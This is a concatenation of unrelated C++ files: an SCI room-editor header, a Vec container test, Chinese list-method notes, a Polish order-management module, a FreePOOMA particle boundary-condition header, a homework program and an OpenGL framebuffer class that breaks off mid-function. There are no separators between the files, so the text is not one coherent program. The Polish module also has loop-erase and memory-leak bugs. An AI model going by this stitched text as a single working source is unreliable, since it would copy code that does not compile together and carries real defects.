/*************************************************************************** Copyright (c) 2020 Philip Fortier This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. ***************************************************************************/ #pragma once // // Properties used in the room editor // #define SCIPROP_NAME TEXT("Name") #define SCIPROP_SPECIES TEXT("Species") #define SCIPROP_VIEW TEXT("view") #define SCIPROP_X TEXT("x") #define SCIPROP_Y TEXT("y") #define SCIPROP_LOOP TEXT("loop") #define SCIPROP_CEL TEXT("cel") #define SCIPROP_Z TEXT("z") #define SCIPROP_CYCLESPEED TEXT("cycleSpeed") #define SCIPROP_DOORBLOCK TEXT("doorBlock") #define SCIPROP_DOORCTRL TEXT("doorCtrl") #define SCIPROP_ENTRANCETO TEXT("entranceTo") #define SCIPROP_ROOMCTRL TEXT("roomCtrl") #define SCIPROP_MOVESPEED TEXT("moveSpeed") #define SCIPROP_XSTEP TEXT("xStep") #define SCIPROP_YSTEP TEXT("yStep") #define SCIPROP_PRIORITY TEXT("Priority") #define SCIPROP_IGNOREACTORS TEXT("Ignore Actors") #define SCIPROP_ADDTOPIC TEXT("Add To Pic") #define SCIPROP_OBSERVECONTROL TEXT("Observe Control") #define SCIMETHOD_SETPRI TEXT("setPri") #define SCIMETHOD_IGNOREACTORS TEXT("ignoreActors") #define SCIMETHOD_ADDTOPIC TEXT("addToPic") #define SCIMETHOD_OBSERVECONTROL TEXT("observeControl") #define SCIMETHOD_IGNORECONTROL TEXT("ignoreControl") #define SCISPECIES_ACT TEXT("Act") #define SCISPECIES_PROP TEXT("Prop") #define SCISPECIES_VIEW TEXT("View") #define SCISPECIES_DOOR TEXT("Door") namespace sci { class ClassDefinition; class PropertyValue; } // Pseudo prop conversion typedef bool(*PFNCLASSTOPSEUDOPROP)(const sci::ClassDefinition*, PCTSTR, sci::PropertyValue&); typedef bool(*PFNPSEUDOPROPTOCLASS)(sci::ClassDefinition*, PCTSTR, const sci::PropertyValue&); BOOL IsPseudoProp(PCTSTR pszProp, PFNCLASSTOPSEUDOPROP *ppfn);
#include <iostream> #include <cmath> using namespace std; #include "vec.h" int main() { // --------------------------------------------------- // initialize v1 with 10 values... the multiples of 5 Vec<int> v1( 10, 0 ); Vec<int>::size_type i; for ( i = 0; i < v1.size(); i++) { v1[i] = 5 * i; } cout << "v1.size() = " << v1.size() << ". Should be 10.\n"; cout << "Contents of v1 (multiples of 5):"; for ( i = 0; i<v1.size(); ++i ) { cout << " " << v1[i]; } cout << endl; // -------------------------------------------------------------------------- // make v2 be a copy of v1, but then overwrite the 2nd half with the 1st half Vec<int> v2( v1 ); v2[ 9 ] = v2[ 0 ]; v2[ 8 ] = v2[ 1 ]; v2[ 7 ] = v2[ 2 ]; v2[ 6 ] = v2[ 3 ]; v2[ 5 ] = v2[ 4 ]; cout << "Contents of v1 (still multiples of 5):"; for ( i = 0; i<v1.size(); ++i ) cout << " " << v1[i]; cout << endl; cout << "Contents of v2 (now palindrome):"; for ( i = 0; i<v2.size(); ++i ) cout << " " << v2[i]; cout << endl; // ------------------------------------------ // make v3 be a copy of v2, but then clear it Vec<int> v3; v3 = v2; v3.clear(); cout << "\nAfter copying v2 to v3 and clearing v3, v2.size() = " << v2.size() << " and v3.size() = " << v3.size() << endl; cout << "Contents of v2 (should be unchanged):"; for ( i = 0; i<v2.size(); ++i ) { cout << " " << v2[i]; } cout << endl; // -------------- // test push back cout << "\nNow testing push_back. Adding 3, 6, 9 to v2:\n"; v2.push_back( 3 ); v2.push_back( 6 ); v2.push_back( 9 ); cout << "v2 is now: \n"; for ( i = 0; i<v2.size(); ++i ) { cout << " " << v2[i]; } cout << endl; // ----------- // test resize v1.resize(20,100); cout << "\nNow testing resize. Resizing v1 to have 20 elements and v2 to have 2 elements\n"; cout << "v1 is now (should have 100s at the end): \n"; for ( i = 0; i<v1.size(); ++i ) cout << " " << v1[i]; cout << endl; v2.resize(2,100); cout << "v2 is now: \n"; for ( i = 0; i<v2.size(); ++i ) cout << " " << v2[i]; cout << endl; // ------------------------ // test of a vec of doubles cout << "\nStarting from an empty vector, z, of doubles and doing\n" << "5 push_backs\n"; Vec<double> z; for ( i = 0; i<5; ++i ) z.push_back( sqrt( double(10*(i+1)) )); cout << "Contents of vector z: "; for ( Vec<double>::size_type j = 0; j < z.size(); j++ ) cout << " " << z[j]; cout << endl; // ADD MORE TEST CASES HERE Vec<int> T; T.push_back(6); T.push_back(6); T.push_back(6); T.push_back(47); T.push_back(7); T.push_back(8); T.push_back(426); cout << "T should contain 6 6 6 47 7 8 426" << endl; cout<< "T: "; for(int i =0; i < T.size(); ++i){ cout << T[i] << " "; } cout << endl; remove_matching_elements(T,6); cout << "Now T should contain 47 7 8 426" << endl; cout << "T:"; for(int i =0; i < T.size(); ++i){ cout << T[i] << " "; } Vec<int> Q; Q.push_back(8); Q.push_back(1); Q.push_back(47); Q.push_back(47); Q.push_back(7); Q.push_back(47); Q.push_back(426); cout << "Q should contain 8 1 47 47 7 47 426" << endl; cout<< "Q: "; for(int i =0; i < Q.size(); ++i){ cout << Q[i] << " "; } cout << endl; remove_matching_elements(Q,47); cout << "Now Q should contain 8 1 7 426" << endl; cout << "Q:"; for(int i =0; i < Q.size(); ++i){ cout << Q[i] << " "; } Vec<int> X; X.push_back(8); X.push_back(1); X.push_back(47); X.push_back(47); X.push_back(7); X.push_back(47); X.push_back(426); X.print(); remove_matching_elements(X, 426); X.print(); Vec<int> LOOP; for(int i =0; i<100; ++i){ LOOP.push_back(i); for(int j = 0; j< 5; j++){ LOOP.push_back(i+j); } } LOOP.print(); remove_matching_elements(LOOP, 12); LOOP.print(); return 0; }
#include <iostream> using namespace std; int main(int argc, char *argv[]) { // size(); //返回容器中元素的个数 // empty(); //判断容器是否为空 // resize(num); //重新指定容器的长度为num, // 若容器变长,则以默认值填充新位置。 // 如果容器变短,则末尾超出容器长度的元素被删除。 // resize(num, elem); //重新指定容器的长度为num, // 若容器变长,则以elem值填充新位置。 // 如果容器变短,则末尾超出容器长度的元素被删除。 // assign(beg, end); //将[beg, end)区间中的数据拷贝赋值给本身。 // assign(n, elem); //将n个elem拷贝赋值给本身。 // list &operator=(const list &lst); //重载等号操作符 // swap(lst); //将lst与本身的元素互换。 // front(); //返回第一个元素。 // back(); //返回最后一个元素。 return 0; }
#include "intcomparatortest.h" IntComparatorTest::IntComparatorTest(QObject *parent) : QObject(parent) { }
#include "stdafx.h" //#include "Klasa_ListaZamowien.hpp" std::vector<ZamowionyPrzedmiot>ListaZamowien::Lista; std::fstream ListaZamowien::Plik_Lista; std::string ListaZamowien::Plik_Lista_Nazwa = "Lista_ZamowionePrzedmioty.bin"; ListaZamowien::ListaZamowien() { //Ladowanie listy zamowien z pliku this->wczytajdane(); } void ListaZamowien::menu() { /* Funkcja odpowiedzialna za obsluge glownego menu do interfejsu zarzadzania zamowieniami*/ //Flaga ktora warunkuje wyswietlanie sie glownego menu modulu bool warunekpetli = true; while (warunekpetli) { //Wyswietlenie dostepnych opcji cout << "\n::ZAMOWIONE PRZEDMIOTY - MENU::\n1 - Wyswietl zamowione przedmioty\n" << "2 - Przylacz przedmiot do klienta\n3 - Odlacz przedmiot od klienta\n0 - Wroc do menu glownego\n"; int wybor = -1; cin >> wybor; switch (wybor) { case 1: //Wyswietl zamowione przedmioty this->wyswietlzamowieniamenu(); break; case 2: //Przylacz przedmiot do klienta this->przylaczklientamenu(); break; case 3: //Odlacz przedmiot od klienta this->odlaczklientamenu(); break; case 4: break; case 5: break; default: //Wroc do menu glownego warunekpetli = false; break; } } } void ListaZamowien::wczytajdane() { /*Funkcja odpowiedzialna za wczytywanie danych z pliku binarnego do kolekcji bazy zamowien*/ //Proba otwarcia pliku binarnego z baza danych zamowien Plik_Lista.open(Plik_Lista_Nazwa, std::ios::binary | std::ios::in); //Sprawdzenie czy plik udalo sie otworzyc if (Plik_Lista.is_open()) { //Utworzenie obiektu klasy ZamowionyPrzedmiot, ktory bedzie sluzyl wczytywaniu danych z pliku ZamowionyPrzedmiot odczytany; while (Plik_Lista.read(reinterpret_cast<char*>(&odczytany), sizeof(odczytany))) { Lista.push_back(odczytany); //Dodajemy rekord do bazy danych } //Sprawdzamy czy byly w pliku jakiekolwiek dane aby ustalic jakie bylo ostatnie ID klienta if (Lista.size() > 0) { int ostatnie_id = Lista[Lista.size() - 1].id_wpisu; //Jezeli w pliku byly dane ustawiamy w polu statycznym ostatnie ID klienta aby zachowac unikalnosc kluczy ZamowionyPrzedmiot::ostatnie_id = ostatnie_id; } } else { //Komunikat na wypadek niepowodzenia cout << "Nie udalo sie otworzyc Plik_ListaZamowien\n"; } //Zamkniecie pliku Plik_Lista.close(); } void ListaZamowien::zapiszzmiany() { /*Funkcja odpowiedzialna za zapisywanie zmian w bazie danych zamowien do pliku binarnego*/ //Proba otwarcia pliku binarnego z baza danych zamowien Plik_Lista.open(Plik_Lista_Nazwa, std::ios::binary | std::ios::out); //Sprawdzenie czy plik udalo sie otworzyc if (Plik_Lista.is_open()) { for (auto it = Lista.begin(); it != Lista.end(); ++it) { //Iterujac po calej bazie danych zapisujemy rekord po rekordzie do pliku binarnego Plik_Lista.write(reinterpret_cast<char*>(&(*it)), sizeof((*it))); } cout << "Zapisano zmiany w pliku ListaZamowien\n"; } else { //Komunikat na wypadek niepowodzenia cout << "Nie udalo sie zapisac Plik_ListaZamowien\n"; } //Zamkniecie pliku Plik_Lista.close(); } int ListaZamowien::getIDKlienta(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return (*it).id_klienta; } else { return int(); } } std::string ListaZamowien::getNazwiskoKlienta(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return ListaKlientow::getNazwiskoKlienta((*it).id_klienta); } else { return std::string(); } } std::string ListaZamowien::getImieKlienta(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return ListaKlientow::getImieKlienta((*it).id_klienta); } else { return std::string(); } } std::string ListaZamowien::getNazwaPrzedmiotu(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return ListaPrzedmiotow::getNazwaPrzedmiotu((*it).id_przedmiotu); } else { return std::string(); } } std::string ListaZamowien::getPoziomPrzedmiotu(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return ListaPrzedmiotow::getPoziomPrzedmiotu((*it).id_przedmiotu); } else { return std::string(); } } int ListaZamowien::getCenaPrzedmiotu(int id_wpisu) { auto it = znajdz(id_wpisu); if (it != Lista.end()) { return ListaPrzedmiotow::getCenaPrzedmiotu((*it).id_przedmiotu); } else { return int(); } } std::vector<ZamowionyPrzedmiot>::iterator ListaZamowien::znajdz(int id_wpisu) { /*Funkcja pomocnicza zwracajaca iterator zamowienia o podanym numerze ID W przypadku gdy nie ma zamowienia o podanym numerze ID funkcja zwraca iterator Lista.end()*/ //Ustawienie iteratora na poczatek bazy danych std::vector<ZamowionyPrzedmiot>::iterator it = Lista.begin(); //Iteracja po calej bazie danych w celu znalezienia rekordu o szukanym numerze ID while (it != Lista.end()) { if ((*it).id_wpisu == id_wpisu) { //W razie powodzenia przerwij dzialanie petli break; } ++it; } //Zwroc iterator return it; } void ListaZamowien::wyswietlwiersz(std::vector<ZamowionyPrzedmiot>::iterator & it) { /* Pomocnicza funkcja wyswietlajaca wiersz przekazanego iteratora rekordu bazy*/ cout << (*it).id_wpisu << '\t' << (*it).id_przedmiotu << '\t' << ListaPrzedmiotow::getNazwaPrzedmiotu((*it).id_przedmiotu) << ',' << ListaPrzedmiotow::getPoziomPrzedmiotu((*it).id_przedmiotu) << " - " << ListaKlientow::getNazwiskoKlienta((*it).id_klienta) << ' ' << ListaKlientow::getImieKlienta((*it).id_klienta) << " [" << (*it).id_klienta << "]\n"; } void ListaZamowien::wyswietlzamowienia(bool wszystkie, bool pokliencie, int id) { /* Pomocnicza funkcja wyswietlajaca liste zamowien przedmiotow. Dostepne opcje wyswietlania: - Wszystkie zamowienia (jesli flaga 'wszystkie' ma wartosc true) - Wszystkie zamowienia dla danego klienta (jesli flaga 'wszystkie' ma wartosc false i flaga 'pokliencie' ma wartosc true) - Wszystkie zamowienia dla danego przedmiotu (jesli flaga 'wszystkie' ma wartosc false i flaga 'pokliencie' ma wartosc false) W zaleznosci od konfiguracji id przekazywane do funkcji odnosi do do id_przedmiotu lub id_klienta*/ //Wyswietlenie naglowka tabeli cout << "ID zamowienia\tID przedmiotu\tNazwa Przedmiotu, Poziom - Nazwisko Imie [ID klienta]\n"; int wszystkieIlosc = 0; int pokliencieIlosc = 0; int poprzedmiocieIlosc = 0; //Petla iterujaca po bazie danych for (auto it = this->Lista.begin(); it != this->Lista.end(); ++it) { if (!wszystkie) { //Jezeli flaga 'wszystkie' ma wartosc false if (pokliencie) { //Jezeli flaga 'pokliencie' ma wartosc true if ((*it).id_klienta == id) { this->wyswietlwiersz(it); pokliencieIlosc++; } } else { //Jezeli flaga 'pokliencie' ma wartosc false if ((*it).id_przedmiotu == id) { this->wyswietlwiersz(it); poprzedmiocieIlosc++; } } } else { //Jezeli flaga 'wszystkie' ma wartosc true wyswietlamy bezwarunkowo kazdy wiersz this->wyswietlwiersz(it); wszystkieIlosc++; } } cout << "\nLaczna liczba "; if (!wszystkie) { if (pokliencie) { cout << "zamowien dla tego klienta wynosi: " << pokliencieIlosc; } else { cout << "zamowien dla tego przedmiotu wynosi: " << poprzedmiocieIlosc; } } else { cout << "wszystkich zamowien wynosi: " << wszystkieIlosc; } cout << "\n\n"; } void ListaZamowien::wyswietlzamowieniamenu() { /* Funkcja obslugujaca podmenu 'Wyswietl zamowienia' */ //Flaga ktora warunkuje wyswietlanie sie podmenu bool warunekpetli = true; while (warunekpetli) { //Wyswietlenie dostepnych opcji cout << "::Ustal sposob wyswietlania zamowien::\n"; cout << "1 - Wyswietl wszystkie\n2 - Wyswietl po ID przedmiotu\n3 - Wyswietl po ID klienta\n" << "4 - Wyswietl liste przedmiotow\n5 - Wyswietl liste klientow\n0 - Wroc do poprzedniego menu\n"; int wybor = -1; cin >> wybor; //Zmienna pomocnicza dla niektorych z opcji int id_dostepnosci; switch (wybor) { case 1: //Wyswietl wszystkie this->wyswietlzamowienia(); break; case 2: //Wyswietl po ID przedmiotu cout << "Wprowadz ID przedmiotu:\n"; cin >> id_dostepnosci; this->wyswietlzamowienia(false, false, id_dostepnosci); break; case 3: //Wyswietl po ID klienta cout << "Wprowadz ID klienta:\n"; cin >> id_dostepnosci; this->wyswietlzamowienia(false, true, id_dostepnosci); break; case 4: //Wyswietl liste przedmiotow ListaPrzedmiotow::wyswietlliste(); break; case 5: //Wyswietl liste klientow ListaKlientow::wyswietlliste(); break; default: //Wroc do poprzedniego menu warunekpetli = false; break; } } } bool ListaZamowien::czyistniejerekord(int id_wpisu) { /* Funkcja przeznaczona do poinformowania o istnieju badz nieistnieniu rekordu w bazie o podanym 'id_wpisu' */ for (auto it = Lista.begin(); it != Lista.end(); ++it) { if ((*it).id_wpisu == id_wpisu) { return true; } } return false; } void ListaZamowien::usunwpis(int id_wpisu) { /* Funkcja przeznaczona do usuwania rekordu z bazy na podstawie 'id_wpisu' */ for (auto it = Lista.begin(); it != Lista.end(); ++it) { if ((*it).id_wpisu == id_wpisu) { it = Lista.erase(it); break; } } } void ListaZamowien::usunwszystkiewpisy_idklienta(int id_klienta) { /* Funkcja przeznaczona do usuwania wszystkich rekordow z bazy od danym 'id_klienta' Funkcji uzywa modul ListaKlientow do usuwania wszystkich zamowien dla danego klienta jezeli klient istnieje*/ for (auto it = Lista.begin(); it != Lista.end(); ++it) { if ((*it).id_klienta == id_klienta) { it = Lista.erase(it); } } } void ListaZamowien::usunwszystkiewpisy_idprzedmiotu(int id_przedmiotu) { /* Funkcja przeznaczona do usuwania wszystkich rekordow z bazy od danym 'id_przedmiotu' Funkcji uzywa modul ListaPrzedmiotow do usuwania wszystkich zamowien dla danego przedmiotu jezeli przedmiot istnieje*/ for (auto it = Lista.begin(); it != Lista.end(); ++it) { if ((*it).id_przedmiotu == id_przedmiotu) { it = Lista.erase(it); } } } void ListaZamowien::przylaczklienta() { /*Funkcja pomocnicza dla menu przylaczania klienta Interfejs nie oferuje opcji wycofania sie z wprowadzonych zmian, poniewaz latwo je wycofac recznie*/ //Wyswietlenie komunikatu cout << "Wprowadz ID klienta:\n"; //Zmienna przechowujaca wprowadzone ID_klienta przez strumien wejsciowy int id_klienta; //Wczytanie ID klienta ze strumienia wejsciowego cin >> id_klienta; //Sprawdzamy czy w bazie danych klientow istnieje rekord o podanym numerze ID if (ListaKlientow::czyistniejrekord(id_klienta)) { cout << "Wybrano: " << ListaKlientow::getNazwiskoKlienta(id_klienta) << " " << ListaKlientow::getImieKlienta(id_klienta) << '[' << id_klienta << "]\n"; //Flaga ktora warunkuje dzialanie interfejsu bool warunekpetli = true; while (warunekpetli) { //Wyswietlenie dostepnych opcji cout << "::PRZYLACZANIE KLIENTA DO PRZEDMIOTU::\n"; cout << "1 - Dalej\n2 - Wyswietl liste przedmiotow\n0 - Wroc do poprzedniego menu\n"; //Zmienna przechowujaca wybor uzytkownika int wybor = -1; //Wczytanie wyboru ze strumienia wejsciowego cin >> wybor; //Zmienna przechowujaca wprowadzone ID przedmiotu int id_przedmiotu; //Zmienna przechowujaca ilosc jednostek czasowych dla danego przedmiotu int ilosc_jednostek; ZamowionyPrzedmiot *Nowy; switch (wybor) { case 1: //Dalej //Wyswietlenie instrukcji cout << "Wprowadz ID przedmiotu:\n"; //Wczytanie ID przedmiotu ze strumienia wejsciowego cin >> id_przedmiotu; if (ListaPrzedmiotow::czyistniejrekord(id_przedmiotu)) { //Jezeli przedmiot istnieje w bazie danych wykonujemy dalszy ciag instrukcji //Wyswietlamy powiadomienie o wybranym przedmiocie cout << "Wybrano " << ListaPrzedmiotow::getNazwaPrzedmiotu(id_przedmiotu) << ", " << ListaPrzedmiotow::getPoziomPrzedmiotu(id_przedmiotu) << ". Cena: " << ListaPrzedmiotow::getCenaPrzedmiotu(id_przedmiotu) << " PLN\n"; //Wyswietlenie instrukcji cout << "Podaj ilosc jednostek czasowych:\n"; //Wczytanie liczby jednostek czasowych ze strumienia wejsciowego cin >> ilosc_jednostek; //Sprawdzamy czy podana wartosc nie jest przypadkiem mniejsza od 0 if (ilosc_jednostek > 0) { for (int i = 0; i < ilosc_jednostek; i++) { //Petla, poniewaz dla wielu jednostek czasowych bedzie odpowiednia ilosc wpisow w bazie //Tworzymy nowy rekord bazy Nowy = new ZamowionyPrzedmiot(id_klienta, id_przedmiotu); //MOZLIWY WYCIEK PAMIECI?? this->Lista.push_back((*Nowy)); //Dodajemy rekord do bazy danych cout << "Dodano nowy wpis:\n"; //Wyswietlenie dodanego wpisu this->wyswietlwiersz(this->znajdz(ZamowionyPrzedmiot::ostatnie_id)); } //Zapis zmian do pliku ListaZamowien::zapiszzmiany(); //Zadanie wykonane, wiec zmieniamy flage na false powodujac wyjscie z interfejsu warunekpetli = false; } } else { //Komunikat w razie wpisania nieprawidlowego ID przedmiotu cout << "Podano nieprawidlowe ID przedmiotu. Sprobuj jeszcze raz.\n"; } break; case 2: //Wyswietl liste przedmiotow ListaPrzedmiotow::wyswietlliste(); break; default: //Wroc do poprzedniego menu warunekpetli = false; break; } } } else { //Komunikat w razie wpisania ID ktore nie zawiera sie w bazie klientow cout << "Podane ID nie istnieje w bazie klientow. Sprobuj jeszcze raz.\n"; } } void ListaZamowien::przylaczklientamenu() { /* Funkcja obslugujaca podmenu 'Przylacz klienta' */ //Flaga ktora warunkuje wyswietlanie sie podmenu bool warunekpetli = true; while (warunekpetli) { //Wyswietlenie dostepnych opcji cout << "::PRZYLACZANIE KLIENTA DO PRZEDMIOTU::\n"; cout << "1 - Przylacz\n2 - Wyswietl liste klientow\n0 - Wroc do poprzedniego menu\n"; int wybor = -1; cin >> wybor; switch (wybor) { case 1: //Przylacz //Uruchomienie specjalnego interfejsu do przylaczania klienta this->przylaczklienta(); break; case 2: //Wyswietl liste klientow ListaKlientow::wyswietlliste(); break; default: //Wroc do poprzedniego menu warunekpetli = false; break; } } } void ListaZamowien::odlaczklientamenu() { /* Funkcja obslugujaca podmenu 'Odlacz klienta' */ //Wyswietlenie instrukcji cout << "\n::ODLACZANIE KLIENTA - MENU::\n" << "Wprowadz ID zamowienia w bazie\nWpisz 0 aby wrocic do poprzedniego menu\n"; //Zmienna przechowujaca wprowadzony ID zamowienia int id_zamowienia; //Wczytanie wartosci ID zamowienia ze strumienia wejsciowego cin >> id_zamowienia; if (id_zamowienia != 0) { //Sprawdzamy czy rekord o danym ID istnieje w bazie if (czyistniejerekord(id_zamowienia)) { //Jezeli istnieje usuwamy rekord z bazy auto it = this->znajdz(id_zamowienia); cout << "Usunieto wpis:\n"; this->wyswietlwiersz(it); this->usunwpis(id_zamowienia); ListaZamowien::zapiszzmiany(); } else { //Jezeli rekord nie istnieje wyswietlamy odpowiedni komunikat cout << "Podane ID zamowienia nie istnieje w bazie.\n"; } } }
// -*- C++ -*- // // Copyright (C) 1998, 1999, 2000, 2002 Los Alamos National Laboratory, // Copyright (C) 1998, 1999, 2000, 2002 CodeSourcery, LLC // // This file is part of FreePOOMA. // // FreePOOMA is free software; you can redistribute it and/or modify it // under the terms of the Expat license. // // This program is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the Expat // license for more details. // // You should have received a copy of the Expat license along with // FreePOOMA; see the file LICENSE. // //----------------------------------------------------------------------------- // Classes: // ParticleBCType, ParticleBC, ParticleCompBC //----------------------------------------------------------------------------- #ifndef POOMA_PARTICLES_PARTICLEBC_H #define POOMA_PARTICLES_PARTICLEBC_H ////////////////////////////////////////////////////////////////////// /** @file * @ingroup Particles * @brief * ParticleBCType is a tag-like base class for a category of boundary * condition applied to an Attribute of a Particles object. * * It provides * a factory method for creating the desired boundary condition object. * Each subclass of ParticleBCType gives itself as the template parameter * to ParticleBCType, so that this class knows what to create. * * ParticleBC is the class representing a generalized particle boundary * condition. It has a subject type, object type, and a ParticleBCType. * The subject can be a DynamicArray or a view or expression involving * DynamicArrays. The subject is examined to determine if its value is * outside the bounds of the ParticleBC. If the subject is out of bounds, * the object of the ParticleBC is modified accordingly. Thus, the object * must be modifiable in the appropriate way. The object of a ParticleBC * can never be an expression, and for a KillBC, the object must be a * DynamicArray or a Particles object. */ //----------------------------------------------------------------------------- // Typedefs: //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // Includes: //----------------------------------------------------------------------------- #include "Particles/ParticleBCItem.h" //----------------------------------------------------------------------------- // Forward Declarations: //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // General template for ParticleBC. We will specialize on BCType. //----------------------------------------------------------------------------- template <class Subject, class Object, class BCType> class ParticleBC : public ParticleBCItem { }; //----------------------------------------------------------------------------- // Class ParticleBCType: //----------------------------------------------------------------------------- template <class BCType> class ParticleBCType { public: // Constructors. ParticleBCType() {} ParticleBCType(const ParticleBCType<BCType>&) {} // Destructor. virtual ~ParticleBCType() {} // Methods. // Assignment operator does nothing. ParticleBCType<BCType>& operator=(const ParticleBCType<BCType>&) { return *this; } // Factory method to create the boundary condition. template <class Subject, class Object> ParticleBCItem* create(const Subject& s, const Object& o) const { typedef ParticleBC<Subject,Object,BCType> PBC_t; return new PBC_t(s, o, static_cast<const BCType&>(*this)); } // Factory method to create the boundary condition with just a subject. // We assume that the argument acts as both subject and object. template <class Subject> ParticleBCItem* create(const Subject& s) const { typedef ParticleBC<Subject,Subject,BCType> PBC_t; return new PBC_t(s, s, static_cast<const BCType&>(*this)); } }; //----------------------------------------------------------------------------- // ParticleCompBC is used to construct boundary conditions that work on // particular components of a multi-component Particle attribute. The idea // is to, for example, build a ReflectBC object and then use this to create // a ParticleCompBC<1, ReflectBC> object, which builds a boundary condition // by taking a one-dimensional component view of the specified subject and // object. This means that particle boundary condition objects need only // work on scalar fields. //----------------------------------------------------------------------------- // General template template <int Dim, class BCType> class ParticleCompBC { }; // Partial specialization for one-dimensional elements template <class BCType> class ParticleCompBC<1,BCType> { public: // Constructors. Need to store a copy of the bc type and which component // we're dealing with. ParticleCompBC(const BCType& bc, int c1) : bc_m(bc), c1_m(c1) { } ParticleCompBC(const ParticleCompBC<1,BCType>& model) : bc_m(model.bc()), c1_m(model.comp1()) { } // Assignment operator. Does deep assignment. ParticleCompBC<1,BCType>& operator=(const ParticleCompBC<1,BCType>& rhs) { bc_m = rhs.bc(); c1_m = rhs.comp1(); return *this; } // Accessors for data members. const BCType& bc() const { return bc_m; } int comp1() const { return c1_m; } // Factory method. Actually makes the boundary condition. // Takes a component view of the subject and object. template <class Subject, class Object> ParticleBCItem* create(const Subject& s, const Object& o) const { return create2(s.comp(comp1()),o.comp(comp1())); } // Factory method. Actually makes the boundary condition. // Takes a component view of the subject and object. // This one takes only a subject. template <class Subject> ParticleBCItem* create(const Subject& s) const { return create2(s.comp(comp1()),s.comp(comp1())); } private: // Super-secret factory method. Actually makes the boundary condition. Called // by create(). We use this two-step approach so we don't have to worry about // explicitly specifying the subject type and object type coming from the // component-view operations. template <class ComponentSubject, class ComponentObject> ParticleBCItem* create2(const ComponentSubject& s, const ComponentObject& o) const { typedef ParticleBC<ComponentSubject,ComponentObject,BCType> PBC_t; return new PBC_t(s, o, bc()); } BCType bc_m; int c1_m; }; // Partial specialization for two-dimensional elements template <class BCType> class ParticleCompBC<2,BCType> { public: // Constructors. Need to store a copy of the bc type and which component // we're dealing with. ParticleCompBC(const BCType& bc, int c1, int c2) : bc_m(bc), c1_m(c1), c2_m(c2) { } ParticleCompBC(const ParticleCompBC<2,BCType>& model) : bc_m(model.bc()), c1_m(model.comp1()), c2_m(model.comp2()) { } // Assignment operator. Does deep assignment. ParticleCompBC<2,BCType>& operator=(const ParticleCompBC<2,BCType>& rhs) { bc_m = rhs.bc(); c1_m = rhs.comp1(); c2_m = rhs.comp2(); return *this; } // Accessors for data members. const BCType& bc() const { return bc_m; } int comp1() const { return c1_m; } int comp2() const { return c2_m; } // Factory method. Actually makes the boundary condition. // Takes a component view of the subject and object. template <class Subject, class Object> ParticleBCItem* create(const Subject& s, const Object& o) const { return create2(s.comp(comp1(),comp2()),o.comp(comp1(),comp2())); } // Factory method. Actually makes the boundary condition. // Takes a component view of the subject and object. // This one takes only a subject. template <class Subject> ParticleBCItem* create(const Subject& s) const { return create2(s.comp(comp1(),comp2()),s.comp(comp1(),comp2())); } private: // Super-secret factory method. Actually makes the boundary condition. Called // by create(). We use this two-step approach so we don't have to worry about // explicitly specifying the subject type and object type coming from the // component-view operations. template <class ComponentSubject, class ComponentObject> ParticleBCItem* create2(const ComponentSubject& s, const ComponentObject& o) const { typedef ParticleBC<ComponentSubject,ComponentObject,BCType> PBC_t; return new PBC_t(s, o, bc()); } BCType bc_m; int c1_m, c2_m; }; #endif // POOMA_PARTICLES_PARTICLEBC_H // ACL:rcsinfo // ---------------------------------------------------------------------- // $RCSfile: ParticleBC.h,v $ $Author: richard $ // $Revision: 1.10 $ $Date: 2004/11/01 18:16:59 $ // ---------------------------------------------------------------------- // ACL:rcsinfo
//================================================================ // PROGRAMMER : 陳佳佑 // DATE : 2015-10-7 // FILENAME : HW02A036.CPP // DESCRIPTION : This is a program to find the sum, average, product, largest and smallest number of a,b,c; //================================================================ #include <iostream> using namespace std; #include <cmath> int main() { int a,b,c; cout<<"please input three integers :"<<endl; cin>>a>>b>>c;//輸入 cout<<endl<<endl; cout<<"Input three different integers:"<<a<<" "<<b<<" "<<c<<endl; //輸出三個輸入的數 cout<<"Sum is "<<a+b+c<<endl;//輸出總合 cout<<"Average is "<<(double(a+b+c))/3.0<<endl;//輸出平均 cout<<"Product is "<<a*b*c<<endl;//輸出相乘 cout<<"Smallest number is "<<min(min(a,b),c)<<endl;//輸出最小 cout<<"Largest number is "<<max(max(a,b),c)<<endl;//輸出最大 system("pause"); }
#include "FBO.h" #include <iostream> unsigned int FBO::MULTI_SAMPLE_COUNT = 16; FBO::FBO(bool useTextureColor, bool useTextureDepth, bool multiSample, unsigned int width, unsigned int height, bool addSecondColorBuffer) :multiSample(multiSample),width(width), height(height) { unsigned int nrColorTexture = addSecondColorBuffer ? 2 : 1; createFrameBuffers(nrColorTexture, useTextureDepth, multiSample, width, height); } FBO::FBO(unsigned int nrColorTexture, bool useDepthTexture, bool useDepthMultisample, unsigned int width, unsigned int height) :multiSample(useDepthMultisample), width(width), height(height) { createFrameBuffers(nrColorTexture, useDepthTexture, useDepthMultisample, width, height); } FBO::~FBO() { //delete stuff here //TODO } void FBO::setActive() { glBindFramebuffer(GL_FRAMEBUFFER, fbo); glViewport(0, 0, width, height); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); } void FBO::createFrameBuffers(unsigned int nrColorTexture, bool useDepthTexture, bool useMultisampling, unsigned int width, unsigned int height) { glGenFramebuffers(1, &fbo); glBindFramebuffer(GL_FRAMEBUFFER, fbo); if (nrColorTexture > 0) { colorTextures = std::vector<unsigned int>(nrColorTexture); if (useMultisampling) { glGenTextures(nrColorTexture, colorTextures.data()); for (unsigned int i = 0; i<nrColorTexture; ++i) { glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, colorTextures.at(i)); glTexImage2DMultisample(GL_TEXTURE_2D_MULTISAMPLE, MULTI_SAMPLE_COUNT, GL_RGBA, width, height, GL_TRUE); glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, 0); 